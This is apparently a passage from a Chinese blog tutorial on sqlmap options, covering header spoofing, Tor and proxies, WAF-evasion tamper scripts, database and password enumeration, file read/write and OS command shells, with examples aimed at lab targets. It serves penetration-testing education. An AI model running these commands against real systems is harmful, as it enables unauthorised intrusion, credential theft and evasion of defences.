    此外, 通过 --random-agent, sqlmap将从./txt/user-agent中随机选择一个用于会话中的所有HTTP请求。一些站点在服务端检测HTTP User-Agent值, 如果不是一个合法的值, 就会中断连接。 同时Sqlmap也会曝出错误。在这里插入图片描述
    演示:
    sqlmap -u “http://192.168.1.2/sqlilabs/Less-1/?id=1” --random-agent
    抓包查看
    在这里插入图片描述

    注意针对User-Agent的值探测SQL注入, 需要设置–level 值为3。或者,使用Burp Suite抓包,将HTTP请求信息复制到txt文件中,然后在要User-Agent头的后面加上一个 * 号,这样不使用—level 3 也能够对User-Agent头进行探测
    在这里插入图片描述

    2.6 设置 Host 头

    可以手动设置HTTP主机头值。 默认情况下, 从提供的目标URL解析HTTP主机头
    在这里插入图片描述
    注意, 如果 --level设置为5,将对HTTP主机头进行SQL注入检测。

    2.7 设置 Referer 头

    伪造HTTP Referer值是可能的。 默认情况下, 如果没有显式设置, HTTP请求中不会发送HTTP引用头。
    请注意, 如果–level设置为3或以上, 将针对HTTP引用头 进行SQL注入测试(或在请求信息中要进行探测的位置后面加上*号)
    在这里插入图片描述

    2.8 设置 额外 HTTP 头

    通过设置选项–header, 可以提供额外的HTTP标头。 每个标头必须用换行符(\n)分隔, 从配置INI文件中提供它们要容易得多。 可以查看示例sqlmap.conf文件。

    例如:
    python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1” --headers=“Host:www.target.com\nUser-agent:Firefox 1.0” -v 5

    以Sqli-Labs靶场的Sqli-Less1为例
    将User-Agent设为:haha
    将cookie设为:heihei

    sqlmap -u “http://192.168.1.2/sqlilabs/Less-1/?id=1” --headers=“user-agent:haha\ncookie:heihei”
    在这里插入图片描述

    2.9 设置 HTTP 协议认证

    Sqlmap中设置HTTP协议认证的参数: --auth-type和–auth-cred

    其中–auth-type支持 Basic、 Digest、 NTLM

    –auth-cred认证语法为: username:password
    (用于需要账号密码登录的页面)

    例如: python sqlmap.py -u “http://url/arit.php?id=1” --auth-type Basic --auth-cred “testuser:testpass”

    2.10 设置 HTTP 代理

    Sqlmap中设置代理的参数: --proxy, --proxy-cred, --proxy-file , --ignore-proxy

    其中–proxy用来设置HTTP代理服务器位置 格式: --proxy http(s): //ip[:端口]

    –proxy-cred用来设置HTTP代理服务器认证信息 格式: --proxy-cred username:password

    –proxy-file用来设置多条代理在文件中

    –ignore-proxy当您希望通过忽略系统范围内的HTTP(S)代理服务器设置来针对本地网络的目标部分运行sqlmap时, 应该使用这种方法。

    0x03 sqlmap 请求参数设置(二)

    3.1 设置Tor隐藏网络

    Sqlmap中设置Tor网络的参数:
    –tor
    –tor-port
    –tor-type(共有四种类型:HTTP、HTTPS、SOCKS4、SOCKS5)
    –check-tor

    3.2 设置延时

    Sqlmap探测过程中会发送大量探测Payload到目标, 如果默认情况过快的发包速度回导致目标预警或断开连接。 为了避免这样的情况发生, 可以在探测设置Sqlm1ap发包延迟。 默认情况下, 不设置延迟。
    –delay 0.5 设置延迟0.5秒

    3.3 设置超时

    在考虑超时HTTP(S)请求之前, 可以指定等待的秒数。 有效值是一个浮点数, 例如10.5表示10秒半。 默认设置为30秒。
    例如: --timeout 10.5

    3.4 设置重传次数

    –retries count 设置对应重试次数, 默认情况下重试3次。(通常与超时参数结合使用)

    3.5 设置随机化参数

    Sqlmap可以指定要在每次请求期间随机更改其值的参数名称。 长度和类型根据提供的原始值保持一直。
    –randomize 参数名称

    例如:
    在这里插入图片描述在这里插入图片描述

    3.6 设置日志过滤目标

    与使用选项-l使用从提供的日志解析的所有主机不同, 您可以指定有效的Python正则表达式, 用于过滤所需的日志。

    例如:
    python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

    –scope= " 正则表达式 "

    3.7 设置忽略 401

    –ignore-401 参数用来忽略未验证错误。

    如果您想测试偶尔返回HTTP错误401(未经授权的)的站点,而您想忽略它并在不提供适当凭证的情况下继续测试,您可以使用–ignore-401

    3.8 设置 HTTP 协议私钥

    当web服务器需要适当的客户端证书和用于身份验证的私钥时,应该使用此选项。提供的值应该是一个PEM格式的key_file,其中包含证书和私钥。

    –auth-file 文件名

    3.9 设置安全模式

    避免在多次请求失败后销毁会话

    有时,如果执行了一定数量的不成功请求,则在此期间的web应用程序或检查技术会销毁会话。这可能发生在sqlmap的检测阶段或利用任何盲SQL注入类型时。原因是SQL有效负载不一定返回输出,因此可能会向应用程序会话管理或检查技术发出信号。

    –safe-url, --safe-post, --safe-req --safe-freq

    通过这种方式,sqlmap将访问每个预定义数量的请求,而不对某个安全URL执行任何类型的注入。

    3.10 设置忽略URL编码

    据参数的位置(例如GET),默认情况下它的值可以是URL编码的。在某些情况下,后端web服务器不遵循RFC标准,需要以原始的非编码形式发送值。在这种情况下使用–skip-urlencode。

    –skip-urlencode 不进行URL加密

    0x04 sqlmap 性能优化

    4.1 设置持久 HTTP 连接

    Sqlmap中可以设置连接为持久连接。 HTTP报文中设置 Connection: Keep-Alive。(通过减少连接次数来提升性能)
    参数: --keep-alive
    注意该参数与 -proxy参数不兼容
    在这里插入图片描述
    在这里插入图片描述

    4.2 设置 HTTP 空连接

    Sqlmap中设置空连接, 表示直接获得HTTP响应的大小而不用获得HTTP响应体。 常用在盲注判断真/假中,降低网络带宽消耗。
    参数: --null-connection
    注意这个参数,与–text-only参数不兼容
    在这里插入图片描述

    4.3 设置多线程

    Sqlmap中设置同时发送多少个HTTP请求的多线程。

    –threads 默认是1个线程。 为了不影响目标站点服务器的性能, Sqlmap可以设置最大的线程数为10。

    4.5 设置预测输出

    Sqlmap中的预测输出, 在推理算法中用于检索值字符的顺序统计预测。
    参数: --predict-output

    注意这个参数与 --thread参数不兼容。

    使用 -o 参数可开启前面三个性能参数(–keep-alive 、–null-connection 、 --predict-output),不开启 --threads参数

    0x05 sqlmap 注入位置介绍

    5.0 注入介绍

    所谓SQL注入, 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的SQL命令。 具体来说, 它是利用现有应用程序, 将(恶意的) SQL命令注入到后台数据库引擎执行的能力, 它可以通过在Web表单中输入(恶意) SQL语句得到一个存在安全漏洞的网站上的数据库, 而不是按照设计者意图去执行SQL语句。

    由此可见: SQL注入发生位置 HTTP数据包中任意位置

    5.1 设置指定注入参数

    Sqlmap测试参数
    -p, --skip --param-exclude --skip-static

    -p : 指定具体探测的参数。 例如: -p “id,user-agent”

    –skip: 忽略探测具体的参数。 例如: --level --skip “user-agent,referer”

    –param-exclude: 忽略包含具体内容的参数。
    例如: --param-exclude=“token|session” 不对包含token或session的参数进行探测。

    –skip-static: 忽略非动态参数

    5.2 设置URL注入位置

    当注入点位于URL本身内部时, 会出现一些特殊情况。 除非手动指向URL路径, 否则sqlmap不会对URL路径执行任何自动测试。 必须在命令行中添加星号(*)来指定这些注入点。

    例如, 当使用Apache web服务器的mod_rewrite模块或其他类似的技术时, 这就显得特别有用了

    python sqlmap.py -u http://targeturl/param1/value1*/param2/value2/

    5.3 设置任意注入位置

    与URL注入点类似, 星号(*)(注意:这里也支持Havij样式%INJECT %)也可以用来指向GET、POST或HTTP头中的任意注入点。 注入点可以通过在带有选项-u的GET参数值、 带有选项–data数据的POST参数值、 带有选项-H的HTTP(header)头值、 带有选项-A的User_Agent头、 用户代理、 引用和/或cookie的HTTP头值中指定, 或者在带有选项-r的文件中加载的HTTP请求的通用位置指定。

    python sqlmap.py -u “http://targeturl” --cookie="param1=value1*;param2=value2

    0x06 sqlmap 注入参数

    6.1 强制设置 DBMS

    默认情况下Sqlmap会自动识别探测目标Web应用程序的后端数据库管理系统(DBMS) , 以下列出

    Sqlmap完全支持的DBMS种类:

    Mysql、 Oracle、 Microsoft SQL Server、 IBM DB2、 SQLite、 Firebird、 Sybase、 SAP MaxDB、HSQLDB、 Informix

    –dbms 数据库管理系统名称 [版本号]

    例如: --dbms mysql 5.0 、 --dbms microsoft sql server 05

    6.2 强制设置 OS

    默认情况下Sqlmap会自动识别探测目标Web应用程序的后端操作系统(OS) , 以下列出Sqlmap完全支持的OS种类。
    Linux 、 Windows

    请注意, 此选项不是强制性的, 强烈建议只在完全确定底层操作系统的后端数据库管理系统时才使用它。 如果不知道它, 让sqlmap自动为您识别它。
    例如: --os windows 或 --os linux

    请注意, 此选项不是强制性的, 强烈建议只在完全确定底层操作系统的后端数据库管理系统时才使用它。 如果不知道它, 让sqlmap自动为您识别它。

    6.3 关闭负载转换机制

    在检索结果时, sqlmap使用一种机制, 在这种机制中, 所有条目都被转换为字符串类型, 并在NULL值的情况下用空格字符替换。 这样做是为了防止出现任何错误状态(例如, 将空值与字符串值连接起来), 并简化数据检索过程本身。 尽管如此, 还是有报告的案例(例如MySQL DBMS的旧版本)由于数据检索本身的问题(例如没有返回值)需要关闭这种机制(使用此开关)。

    –no-cast

    6.4 关闭字符转义机制

    在sqlmap需要在有效负载中使用(单引号分隔)字符串值(例如, 选择’foobar’)时, 这些值将自动转义(例如, 选择CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))。这样做的原因有两个:混淆有效负载内容和防止后端服务器上查询转义机制(例如magic_quotes和/或mysql_real_escape_string)的潜在问题。 用户可以使用这个开关关闭它(例如减少有效负载大小)。

    –no-escape(一般不建议关闭)

    6.5 强制设置无效值替换

    在sqlmap需要使原始参数值无效(例如id=13)时,它使用经典的否定(例如id=-13)。有了这个开关,就可以强制使用大整数值来实现相同的目标(例如id=99999999)。
    –invalid-bignum

    在sqlmap需要使原始参数值无效(例如id=13)时,它使用经典的否定(例如id=-13)。有了这个开关,就可以强制使用布尔操作来实现相同的目标(例如id=13 and18=19)。
    –invalid-logical

    在sqlmap需要使原始参数值无效(例如id=13)时,它使用经典的否定(例如id=-13)。有了这个开关,就可以强制使用随机字符串来实现相同的目标(例如id=akewmc)。
    –invalid-string

    6.6 自定义注入负载位置

    在某些情况下,只有当用户提供要附加到注入负载的特定后缀时,易受攻击的参数才可被利用。当用户已经知道查询语法并希望通过直接提供注入有效负载前缀和后缀来检测和利用SQL注入时,这些选项就派上用场了。
    –prefix 设置SQL注入Payload前缀
    –suffix 设置SQL注入Payload后缀

    例如:
    SQL查询语句为:

    $query = "SELECT * FROM users WHERE id=(' . $_GET['id'] . ') LIMIT 0, 1";
    

    sqlmap参数使用:
    python sqlmap.py -u “http://ip/sqlmap/mysql/get_str_brackets.php
    ?id=1” -p id --prefix “’)” --suffix “AND (‘abc’='abc”

    插入Payload后的SQL查询语句:

    $query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
    

    在这里插入图片描述
    在这里插入图片描述

    6.7 设置 Tamper 脚本

    sqlmap本身不会混淆发送的有效负载,除了单引号之间的字符串被CHAR()类似的表示形式所取代之外。sqlmap通过Tamper脚本来绕过WAF等防御措施,可以在tamper文件夹下找到所有sqlmap自带的tamper脚本。

    sqlmap.py -u “http://ip/sqlmap/mysql/get_int.php?id=1” --tamper“between.py,randomcase.py,space2comment.py” -v 3

    6.8 设置 DBMS 认证

    设置DBMS认证方式通过以下命令:

    –dbms-cred = username:password

    0x07 sqlmap 自定义检测参数

    7.1 设置探测等级

    –level 此选项需要指定要执行的测试等级的参数。有五个层次。在执行有限数量的测试(请求)时,默认值为1。1~5探测复杂逐步提升。

    sqlmap使用的有效负载在文本文件xml/payload .xml中指定。按照文件顶部的说明,如果sqlmap错过了注入,您也应该能够添加自己的有效负载来进行测试!

    这个选项不仅会影响到哪个有效负载sqlmap尝试,还会影响到在考试中取哪个注入点:GET和POST参数总是被测试,HTTP Cookie头值从第2级测试,HTTP用户代理/引用头值从第3级测试。

    总之,检测SQL注入越困难,必须设置的——级别就越高。
    在显示无法注入时,可以设置 --level 5 来进行更强大的探测

    7.2 设置风险参数

    此选项需要指定要执行测试的风险的参数。有三个风险值。默认值为1,这对于大多数SQL注入点来说是无害的。风险值2增加了大量基于查询时间的SQL注入测试的默认级别,值3也增加了基于or的SQL注入测试。

    在某些情况下,比如UPDATE语句中的SQL注入,注入基于or的有效负载可能导致表的所有条目的更新,这肯定不是攻击者想要的。出于这个原因和其他原因,我们引入了这个选项:用户可以控制测试的有效负载,用户可以任意选择使用也有潜在危险的负载。

    例如:
    –risk num num范围 1~3

    7.3 设置页面比较参数

    默认情况下,通过比较注入的请求页面内容和未注入的原始页面内容,可以区分真查询和假查询。这种观念并不总是起作用是因为在每次刷新页面内容的变化有时甚至没有注射,例如当页面有一个计数器,一个动态广告横幅或任何其他HTML的一部分呈现动态和可能改变时间不仅因此用户的输入。为了绕过这个限制,sqlmap努力识别响应体的这些片段并进行相应处理。

    –string:指定包含字符串 查询为True
    –not-string:指定包含字符串 查询为False
    –regexp:指定通过正则表达式匹配字符串,查询为True
    –code:指定匹配HTTP状态响应码,查询为True

    7.4 设置内容比较参数

    –text-only:设置页面内容中包含文本。

    例如:–text-only = “Welcome for True and Forbidden for False”

    –titles:设置页面title中包含文本。前提需要知道如何区分查询的真与假,根据返回字符串内容不同。
    –titles=”Login”

    0x08 sqlmap 注入技术参数

    8.1 设置具体 SQL 注入技术

    –technique 参数用来设置具体SQL注入技术。以下列出Sqlmap支持的SQL注入技术。

    B: Boolean-based blind 基于布尔的盲注
    E: Error-based 报错注入
    U: Union query-based Union查询注入
    S: Stacked queries 堆叠注入
    T: Time-based blind 基于时间的盲注
    Q: Inline queries 内联查询注入

    例如:sqlmap -u “存在注入点的URL” --technique B --current-db
    利用基于布尔的盲注对注入点进行SQL注入探测

    8.2 设置时间盲注延迟时间

    在测试基于时间的盲SQL注入时,可以设置秒来延迟响应,方法是提供–time-sec选项,后面跟着一个整数。默认情况下,它的值设置为5秒。

    例如:
    sqlmap -u “存在注入点的URL” --time-sec 3 --current-db
    在这里插入图片描述
    在这里插入图片描述

    8.3 设置 UNION 字段数

    默认情况下,sqlmap测试使用1到10列的UNION查询SQL注入技术。但是,通过提供更高–level值,可以将此范围增加到50列。

    您可以手动告诉sqlmap使用特定范围的列来测试这种类型的SQL注入,方法是为该工具提供选–union-cols后跟一系列整数。例如,12-16表示使用12到16个列对UNION查询SQL注入进行测试。

    例如:sqlmap -u “存在注入的URL” --union-cols 12-18 --current-db在这里插入图片描述在这里插入图片描述

    8.4 设置 UNION 字符

    默认情况下,sqlmap测试使用空字符的联合查询SQL注入技术。但是,通过提供更高级别的值sqlmap,还将使用随机数执行测试,因为在某些情况下,UNION查询测试使用NULL会失败,而使用随机整数则会成功。

    您可以手动告诉sqlmap使用特定字符测试这种类型的SQL注入,方法是使用带有所需字符值的选项–union-char(例如–union-char 123)。
    在这里插入图片描述
    在这里插入图片描述

    8.5 设置 UNION 查询表

    某些情况下,Sqlmap需要设定Union 查询SQL注入的具体数据表才可以得到数据。
    –union-from 表名
    在这里插入图片描述

    8.6 设置 DNS 露出攻击

    针对目标网络很有可能对外部流量进行限制,或者设置WAF。

    通过设置DNS流量来突破限制 --dns-domain “dns服务器” 需要用户自身具有一个开放53端口的DNS服务器,通过DNS流量来获得Web应用程序中数据内容。
    在这里插入图片描述

    8.7 设置二次注入

    Sqlmap中可以设置二次注入的结果页面。
    –second-url URL
    在这里插入图片描述

    8.8 识别指纹

    –fingerprint -f 探测目标指纹信息。
    在这里插入图片描述

    0x09 sqlmap 检索 DBMS 信息

    9.1 检索 DBMS Banner 信息

    获取后端数据库Banner信息。
    –banner或者 -b
    在这里插入图片描述

    9.2 检索 DBMS 当前用户

    获取DBMS当前用户
    –current-user
    在这里插入图片描述

    9.3 检索 DBMS 当前数据库

    获取当前数据库名。
    –current-db
    在这里插入图片描述

    9.4 检索 DBMS 当前主机名

    –hostname
    在这里插入图片描述

    0x0A sqlmap 枚举 DBMS 信息

    10.1 探测当前用户 DBA

    –is-dba 探测当前用户是否是数据库管理员。

    若返回True,则说明当前用户是数据库管理员
    在这里插入图片描述

    10.2 枚举 DBMS 用户

    获取DBMS所有用户
    –users

    在这里插入图片描述

    10.3 枚举 DBMS 用户密码

    –password 获取用户密码

    10.4 枚举 DBMS 权限

    –privileges
    –role(角色)
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    10.5 枚举数据库名

    –dbs 列举数据库名称
    在这里插入图片描述

    10.6 枚举数据库表

    –tables 枚举表名 --> 指定具体数据库 -D 数据库名
    –exclude-sysdbs 只列出用户自己新建的数据库和表
    在这里插入图片描述
    (排除DBMS系统数据库,当枚举表时)

    在这里插入图片描述
    在这里插入图片描述

    10.7 枚举数据库表的列名

    –columns -D指定数据库 -T指定数据表 -C指定具体字段
    在这里插入图片描述
    在这里插入图片描述

    10.8 枚举数据值

    –dump
    在这里插入图片描述

    0x0B sqlmap 枚举信息

    11.1 枚举 schema 信息

    用户可以使用此开关–schema检索DBMS模式。模式列表将包含所有数据库、表和列,以及它们各自的类型。与–exclude-sysdb结合使用时,只会检索和显示包含非系统数据库的模式的一部分。

    python sqlmap.py -u “http://192.168.48.130/sqlmap/mysql/get_int.php?id=1” --schema–batch --exclude-sysdbs
    在这里插入图片描述在这里插入图片描述

    11.2 枚举数据表数量

    如果用户只想知道表中的条目数,则可以使用此开关。
    –count

    python sqlmap.py -u “http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” --count -D testdb

    11.3 获取数据信息

    –start, --stop, --first, --last

    –start 1 --stop3 获取第二张到第三张表的名字
    –stop 1 获取第一张表的名字
    –first 3 --last 5 获取从第三出发到第五个字符

    11.4 设置条件获取信息

    –pivot-column=id 设置独一无二的列
    –where=“id>3” 设置条件
    在这里插入图片描述在这里插入图片描述在这里插入图片描述

    11.5 暴力破解数据

    使用场景:Mysql<5.0时,Mysql中没有元数据库 information_schema。
    –common-tables 暴力破解表名
    –common-columns 暴力破解列名

    11.6 读取文件

    前提:已知目标主机文件路径
    –file-read 路径 读取对应文件内容。
    注意:此处路径为绝对路径。(需要使用//,其中一个/表示转义)
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    11.7 写入文件

    –file-write 读取本地文件
    –file-dest 将读取到的文件写入到远程绝对路径
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    11.8 检索所有信息

    -a --all
    在这里插入图片描述

    0x0C sqlmap 系统参数

    12.1 执行系统命令

    前提条件:

    1. 网站必须是root权限
    2. 攻击者需要知道网站的绝对路径
    3. GPC为off(即magic_quotes_gpc = off),php主动转义的功能关闭
    4. 若需要上传文件,则secure_file_priv 不为NULL

    –os-shell在这里插入图片描述在这里插入图片描述

    12.2 结合Metasploit

    python sqlmap.py -u “注入点” --os-pwn --msf-path (若不使用该参数,则自动选择默认路径)
    (只适用于MySQL and PostgreSQL 数据库)

    12.3 注册表介绍

    注册表(Registry,繁体中文版Windows操作系统称之为登录档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Microsoft Windows 95操作系统开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今。
    在这里插入图片描述

    12.4 注册表操作

    –reg-read
    –reg-add
    –reg-del
    –reg-key, --reg-value, --reg-data --reg-type

    例如:
    $ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1

    0x0D sqlmap 通用参数(一)

    13.1 加载 sqlite 会话文件

    sqlmap自动为每个目标创建持久会话SQLite文件,位于专用输出目录中,其中存储会话恢复所需的所有数据。如果用户想显式地设置会话文件位置(例如在一个位置为多个目标存储会话数据),可以使用此选项。

    -s “会话文件”在这里插入图片描述

    13.2 加载 http 文本文件

    这个选项需要指定文本文件的参数来写入sqlmap - HTTP(s)请求和HTTP(s)响应生成的所有HTTP(s)流量。
    这主要用于调试目的——当您向开发人员提供一个潜在的bug报告时,也发送这个文件。
    -t 参数
    在这里插入图片描述

    13.3 设置默认选择选项

    如果希望sqlmap作为批处理工具运行,在sqlmap需要时不需要任何用户交互,那么可以使用-----batch来强制执行。这将使sqlmap在需要用户输入时保持默认行为。

    13.4 执行系统命令

    –os-cmd=”命令”
    在这里插入图片描述
    在这里插入图片描述

    13.5 设置盲注字符集

    在基于布尔和基于时间的SQL盲注中,用户可以强制使用自定义字符集来加速数据检索过程。

    例如,如果转储消息摘要值(例如SHA1),则使用–charset=“0123456789abcdef”,预期请求数量比正常运行少30%左右
    在这里插入图片描述

    13.6 爬取 URL

    sqlmap可以通过从目标位置开始收集链接(爬行)来收集潜在的脆弱链接。使用此选项,用户可以设置一个深度(到起始位置的距离),低于这个深度,sqlmap不会进入收集阶段,因为只要有新的链接要访问,就会递归地执行这个过程。
    –crawl
    python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/” --batch --crawl=3
    –crawl-exclude 字符串 存在字符串的URL不进行爬取

    13.7 在 CSV 输入中使用的分割字符

    当被转储的数据存储到CSV格式(–dump-format=CSV)时,条目必须用“分离值”分隔(默认值是 ”,”)。如果用户想要覆盖它的默认值,他可以使用这个选项(例如–csv-del="@")。
    在这里插入图片描述
    在这里插入图片描述

    13.8 设置输出格式

    当将转储表数据存储到输出目录中的相应文件中时,sqlmap支持三种不同的格式:CSV、HTML和SQLITE。默认的是CSV,其中每个表行一行一行地存储在文本文件中,每个条目用逗号分隔(或提供了选项–csv-del)。对于HTML,输出被存储到一个HTML文件中,其中每一行都用格式化表中的一行表示。对于SQLITE,输出存储在SQLITE数据库中,原始表内容复制到同名的相应表中。

    –dump-format在这里插入图片描述
    在这里插入图片描述

    13.9 探测之前检测 Internet 连接

    在进行评估目标之前,检测当前计算机Internet连接是否正常。确保探测失败不是因为网路拦截问题。

    –check-internet
    在这里插入图片描述

    13.10 解析和测试表单的输入字段

    –form
    在这里插入图片描述

    0x0E sqlmap 通用参数(二)

    14.1 设置预计完成时间

    可以实时地计算和显示估计的到达时间,以检索每个查询输出。当用于检索输出的技术是任何盲SQL注入类型时,就会显示这一点。
    –eta
    在这里插入图片描述

    14.2 刷新会话文件

    由于会话文件的概念,所以最好知道您可以使用选项–flush-session刷新该文件的内容。通过这种方式,您可以避免sqlmap中默认实现的缓存机制。其他可能的方法是手动删除会话文件。

    14.3 忽略会话中的存储结果

    使用选项–fresh-queries来忽略该文件的内容。通过这种方式,可以保持会话文件不变,对于所选的运行,避免恢复/恢复查询输出。

    14.4 使用 Hex 函数检索数据

    非ascii数据的检索需要特殊的需求。解决这个问题的一个方法是使用DBMS hex函数。数据在被检索之前被编码为十六进制形式,然后被未编码为原始形式。

    –hex

    例如:
    python sqlmap.py -u “http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1” --hex -v 3 --batch

    14.5 设置自定义输出路径

    sqlmap默认将会话和结果文件存储在子目录输出中。如果您想使用不同的位置,可以使用这个选项(例如–output-dir=/tmp)。

    14.6 从响应页面解析错误

    如果web应用程序配置为调试模式,以便在HTTP响应中显示后端数据库管理系统错误消息,sqlmap可以解析并显示它们。这对于调试很有用,比如理解为什么某个枚举或接管开关不起作用——这可能与会话用户的特权有关
    –parse-error

    保存Sqlmap配置文件 --save
    可以将命令行选项保存到配置INI文件中。然后,可以使用之前解释的-c选项编辑生成的文件并将其传递给sqlmap。

    更新Sqlmap --update

    14.7 强制设置 DBMS 编码

    –encoding=”gbk”
    在这里插入图片描述

    14.8 存储 HTTP 流量到 HAR

    –har=”HARFILE”
    HAR(HTTP Archive),是一个用来储存HTTP请求/响应信息的通用文件格式,基于JSON。
    在这里插入图片描述

    14.9 筛选具体 Payload

    –test-filter=”ROW”
    在这里插入图片描述

    14.10 过滤具体 Payload

    –test-skip=”BENCHMARK”
    在这里插入图片描述
    补充:
    针对proxy日志文件使用正则表达式筛选目标
    –scope=”regex”

    0x0F sqlmap 杂项参数

    15.1 使用缩写助记符

    Sqlmap提供灵活的缩写助记符来进行快速书写命令。
    -z 参数

    例如:
    python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -uwww.target.com/vuln.php?id=1"

    使用助记符:
    python sqlmap.py -z “bat,randoma,ign,tec=BEU” -u “www.target.com/vuln.php?id=1”

    15.2 设置探测预警

    在发现SQL注入漏洞时,运行本机主机系统命令
    –alert
    在这里插入图片描述

    15.3 设置问题答案

    如果用户想自动设置问题的答案,即使使用–batch,使用–answers,通过在等号后面提供问题的任何部分和答案来完成。另外,不同问题的答案可以用分隔符分隔。

    例如:
    python sqlmap.py -u “http://192.168.22.128/sqlmap/mysql/get_int.php?id=1”–technique=E --answers=“extending=N” --batch

    15.4 发现 SQL 注入预警

    如果用户使用–beep,当发现SQL注入时,会立即发出哔哔的警告。这在需要测试的大量目标url(选项-m)时特别有用。

    15.5 其他

    –cleanup 清除DBMS udf创建的数据表
    –dependencies 查看依赖项
    –disable-coloring 不进行高亮显示
    –identify-waf 查看是否具有WAF保护
    –moblie 使用手机端User-Agent
    –purge-output 清除output目录下的文件
    –skip-waf 绕过WAF
    –sqlmap-shell 使用sqlmap shell
    –tmp-dir=TMPDIR 指定本地目录用来存储临时文件
    –web-root=WEBROOT 指定站点根目录
    –wizard 使用向导式的sqlmap
    –gpage=GOOGLEPAGE 设置Google Dork的页码数

    –smart 智能探测
    有些情况下,用户有大量的潜在目标URL(例如,提供了选项 -m),希望尽快找到一个脆弱的目标。如果使用—smart,那么将在扫描中进一步使用数据库管理系统错误的参数,否则就跳过它们

    0x10 常用 Tamper 脚本

    这里推荐几篇比较详细的文章去学习:
    https://www.cnblogs.com/mark0/p/12349551.html

    https://blog.csdn.net/qq_34444097/article/details/82717357?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522159341834119725219951313%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=159341834119725219951313&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~pc_rank_v3-5-82717357.first_rank_ecpm_v1_pc_rank_v3&utm_term=sqlmap+tamper脚本

    展开全文
  • SQLMAP 命令详解

    2019-05-30 00:48:00
    SQLMAP 命令详解 Options(选项):–version 显示程序的版本号并退出-h, –help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为 1)Target(目标):以下至少需要设置其中一个选项,设置...
  • SQLmap命令详解

    2019-06-16 18:01:00
    SQLmap命令详解 来源于网络,侵权请通知我删除,*请不要转载 Options(选项): --version 显示程序的版本号并退出 -h, --help 显示此帮助消息并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target(目标): ...
  • sqlmap 命令笔记

    2017-03-08 20:54:00
    sqlmap 命令笔记   基础命令 注入 MySQL mssql access 直接爆表.然后你懂的BT5里面的话前面就要加pythonsqlmap.py -u url --dbs //爆数据库sqlmap.py -u url --current-db //爆当前库sqlmap.py -u ...
  • sqlmap命令大全

    2018-02-22 15:57:18
    什么是SQLmapSQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令
  • Sqlmap常规命令sqlmap -u "http://www.xxx.com/shownews.asp?id=1" –-tables (获取表)sqlmap-u "http://www.xxx.com/shownews.asp?id=1" –-columns -T 表 (获取指定表字段内容)sqlmap-u ...du...
  • SQLMAP命令详解

    2015-06-18 14:14:58
    SQLMAP命令详解Options(选项) 参数 说明 --version 显示程序的版本号并退出 -h, --help 显示此帮助消息并退出 -v VERBOSE 详细级别:0-6(默认为1) Target(目标)以下至少需要设置其中一个选项,设置目标...
  • sqlmap命令总结

    2019-10-08 10:09:31
    Sqlmap常规命令: ACCESS(一个数据库): Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -tables (获取表) Sqlmap -u “http://www.xxx.com/shownews.asp?id=1” – -columns -T 表 (获取指定表字段...
  • sqlmap命令详解

    2020-02-14 20:16:21
    cookie注入:sqlmap.py -u 注入点 --cookie "参数" --tables --level 2 POST登录框注入:sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables sqlmap.py -u 登录的地址 --forms 自动判断注入 sqlmap.py -u 登录...
  • 它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令sqlmap工具下载官方网站下载http://sqlmap.org/ sqlmap工具启动1,需要在启动...
  • sqlmap命令3

    2019-04-11 09:59:19
    当给sqlmap这么一个url (http://www.target.com/sqlmap/mysql/get_int.php?id=1) 的时候,它会: 1、判断可注入的参数 2、判断可以用那种SQL注入技术来注入 3、识别出哪种数据库 4、根据用户选择,读取哪些数据...
  • sqlmap命令手册

    2019-09-30 19:26:55
    http://127.0.0.1/sqli-labs-master/Less-1/?id=1当给sqlmap上面这么一个url的时候,它会自动:1、判断可注入的参数2、判断可以用那种SQL注入技术来注入3、识别出哪种数据库4、根据用户选择,读取哪些数据sqlmap支持...
  • sqlmap 命令详解(自备速查) sqlmap速查 /pentest/database/sqlmap/txt/ common-columns.txt 字段字典 common-outputs.txt common-tables.txt 表字典 keywords.txt oracle-default-passwords.txt ...
  • 本文是Web安全入门系列的第6篇文章01sqlmap前面介绍了SQL注入常见的几种类型,我们都是以手工形式进行注入,今天介绍一款自动化工具:sqlmapsqlmap官网地址:http://sqlmap.org/。官网首页开宗明义:sqlmap是一款...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 835
精华内容 334
关键字:

sqlmap命令